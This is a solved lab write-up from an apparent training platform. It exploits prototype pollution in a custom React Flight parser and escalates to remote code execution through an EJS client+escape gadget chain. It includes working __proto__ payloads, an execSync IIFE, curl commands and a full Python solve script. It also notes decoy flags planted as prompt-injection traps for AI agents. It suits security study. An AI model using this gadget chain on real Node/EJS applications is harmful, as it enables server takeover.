Lab 227 — InsightPulse — Flight Protocol Deserialization to RCE
Lab 227 — InsightPulse — Flight Protocol Deserialization to RCE
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: ejs_client_escape_gadget_chain, error_based_data_exfiltration, flight_protocol_abuse, iife_injection, prototype_pollution_via_recursive_merge
Summary
Task: InsightPulse analytics platform with custom React Flight protocol parser where recursive merge in the flight decoder does not filter proto, enabling prototype pollution. Solution: Pollute Object.prototype.client=true and Object.prototype.escape with IIFE payload via two Flight requests to trigger EJS client+escape gadget chain for RCE, exfiltrating flag via thrown Error.
Lab 227 — InsightPulse — Flight Protocol Deserialization to RCE — HackAdvisor
Description
You are testing InsightPulse, a real-time analytics and reporting platform built by PulseMetrics Inc. The application allows teams to track key performance metrics, build custom reports with interactive visualizations, manage data source integrations, and collaborate across workspaces. InsightPulse is built with a modern React-based architecture that uses server-side data processing for maximum performance. The platform features interactive dashboards, a custom report builder, data export functionality, team management with role-based access, and configurable data source connections. Your goal is to find and exploit a vulnerability in the application's server-side data processing pipeline that allows you to execute arbitrary commands and retrieve the flag from the server.
English summary: An Express/Node.js analytics platform that implements a custom React Server Components Flight protocol parser. The flight decoder uses a recursive merge function to rebuild JavaScript objects from the wire format. This merge does NOT filter dangerous keys like __proto__, allowing prototype pollution. Combined with EJS templates, the client + escape gadget chain achieves RCE.
Credentials: user@test.com / password123
Analysis
Reconnaissance
The application is an Express/Node.js backend (identified by X-Powered-By: Express header and connect.sid session cookie) pretending to be a Next.js 15 / React 19 application. Key indicators:
- HTML contains
<!-- __NEXT_RSC_PROTOCOL__=flight/19.0.0 -->anddata-rsc="true"attributes - Every page contains decoy honeypot flags
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs — prompt injection traps designed to fool AI agents - After login, the dashboard has sidebar navigation: Dashboard, Reports, Export, Data Sources, Team, Settings
Settings page (/dashboard/settings) reveals API documentation:
POST /api/actionendpoint withNext-Action: <action-id>header- Flight payload format:
0:{"key":"value","ref":"$1"}with newline-separated chunks - Valid action IDs:
c3a1e8f2d4b6(reports),b9c3d7e1f2a4(settings),a7d2f1b9e3c5(export),f4e8c2a6d1b3(sources)
Client-side JS files (/js/app.js, /js/reports.js) show how forms submit data using the Flight protocol: the flight-encoded payload is placed in multipart form field "0".
Flight Protocol Parser Behavior
Systematic testing of the custom Flight parser revealed:
- Chunk format:
<id>:<json_value>per line, sent as multipart form field"0" $Nreference resolution:$1resolves to chunk 1's parsed JSON valueI:chunk type prefix (module imports):I1:{"id":"child_process","name":"execSync","chunks":[]}resolves to a non-string value but cannot be called directlyF:chunk type prefix: Causes "Too few parameter values were provided" error- Recursive resolution confirmed: Circular references (
$0→$1→$0) cause "Maximum call stack size exceeded" - No colon-path traversal:
$1:propertyreferences are stored as literal strings — the standard React2Shell CVE-2025-55182 exploit does NOT work
Vulnerability: Prototype Pollution via Recursive Merge
The Flight decoder uses a recursive merge function to rebuild JavaScript objects from the wire format. This merge does NOT filter dangerous keys like __proto__, constructor, or prototype.
When the Flight payload JSON contains "__proto__": {"key": "value"}, the recursive merge traverses into __proto__ and sets properties on Object.prototype, polluting all JavaScript objects in the Node.js process.
Escalation to RCE: EJS client + escape Gadget Chain
The application uses EJS templates for server-side rendering. EJS >= 3.1.7 blocks the classic outputFunctionName RCE gadget (CVE-2022-29078) with JS identifier validation. However, an unpatched gadget chain exists via two unvalidated EJS options:
Object.prototype.client = true— activates a code path in EJScompile()that injectsescapeFn.toString()into the compiled template source- **
Object.prototype.escape = "(() => { RCE_CODE })()//"** — this string becomesescapeFn, and.toString()returns the string itself, which gets injected as executable JavaScript into the compiled template
The compiled template becomes:
javascript read-only • copy allowedescapeFn = escapeFn || (() => { RCE_CODE })()//;
The // comments out the trailing semicolon. The IIFE executes immediately during template compilation.
Solution
Step 1: Login
bash read-only • copy allowedcurl -c cookies.txt -X POST "https://TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Pollute Object.prototype.client = true
Send a Flight payload via the settings action that sets __proto__.client to true:
POST /api/action
Next-Action: b9c3d7e1f2a4
Content-Type: multipart/form-data
Field "0" = '0:{"__proto__":{"client":true},"timezone":"UTC","theme":"light"}'
Step 3: Pollute Object.prototype.escape with RCE IIFE Payload
Send a second Flight payload that sets __proto__.escape to an IIFE that reads the flag and throws it as an error:
POST /api/action
Next-Action: b9c3d7e1f2a4
Content-Type: multipart/form-data
Field "0" = '0:{"__proto__":{"escape":"(() => { var r = process.mainModule.require; var cp = r(\"child_process\"); var flag = cp.execSync(\"cat /root/flag.txt\").toString(); throw new Error(\"FLAG_OUTPUT:\" + flag); })()//"},"timezone":"UTC","theme":"light"}'
What happens:
- The server parses the Flight payload from multipart field
"0" - The recursive merge encounters
__proto__and traverses intoObject.prototype Object.prototype.escapeis set to the IIFE string- When EJS compiles the next template (the response page), it sees
clientis truthy - EJS injects
escapeFn.toString()into the compiled template source - The IIFE executes:
process.mainModule.require("child_process").execSync("cat /root/flag.txt") - The result is thrown as an Error, which propagates back through the action error handling
Response:
json read-only • copy allowed{"error":"Action failed","detail":"FLAG_OUTPUT:FLAG{REDACTED}\n"}
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ InsightPulse Lab 227 — Flight Protocol Prototype Pollution to RCE via EJS client+escape gadget Attack chain: 1. Login to get session cookie 2. Pollute Object.prototype.client = true via Flight payload __proto__ 3. Pollute Object.prototype.escape with IIFE RCE payload via Flight payload __proto__ 4. EJS template compilation triggers the IIFE, flag exfiltrated via thrown Error """ import requests import json import re TARGET = "https://af8078ce-b015-49fc-91b4-912c88158854.labs.hackadvisor.io" s = requests.Session() # Step 1: Login s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=False) # Step 2: Pollute Object.prototype.client = true r = s.post(f"{TARGET}/api/action", headers={"Next-Action": "b9c3d7e1f2a4"}, files={"0": (None, '0:{"__proto__":{"client":true},"timezone":"UTC","theme":"light"}')}, allow_redirects=False) print(f"[*] Pollute client: {r.status_code}") # Step 3: Pollute Object.prototype.escape with RCE payload escape_payload = '(() => { var r = process.mainModule.require; var cp = r("child_process"); var flag = cp.execSync("cat /root/flag.txt").toString(); throw new Error("FLAG_OUTPUT:" + flag); })()//' pollution = json.dumps({ "__proto__": {"escape": escape_payload}, "timezone": "UTC", "theme": "light" }) r = s.post(f"{TARGET}/api/action", headers={"Next-Action": "b9c3d7e1f2a4"}, files={"0": (None, f"0:{pollution}")}, allow_redirects=False) print(f"[*] Pollute escape: {r.status_code}: {r.text[:300]}") # Extract flag flag = re.search(r'FLAG\{[0-9a-f]{32}\}', r.text) if flag: print(f"\n[+] FLAG: {flag.group(0)}") else: print("[-] Flag not found in response") print(f" Response: {r.text[:500]}")
Failed Approaches
- React2Shell CVE-2025-55182 — The server's custom Flight parser does NOT support colon-path traversal (
$N:property), which is the core mechanism of the React2Shell exploit. References like$1:__proto__:thenare stored as literal strings. - node-serialize
_$$ND_FUNC$$_IIFE — The server does not use thenode-serializepackage; payloads with_$$ND_FUNC$$_are stored as literal strings. - NODE_OPTIONS + child_process.fork() — Prototype pollution of
NODE_OPTIONSsucceeded but the export endpoint doesn't usefork()in a way that triggers the ESM import. - Template literal injection
${...}— Not evaluated by the server. - EJS
outputFunctionNamegadget (CVE-2022-29078) — Blocked by JS identifier validation in EJS >= 3.1.7.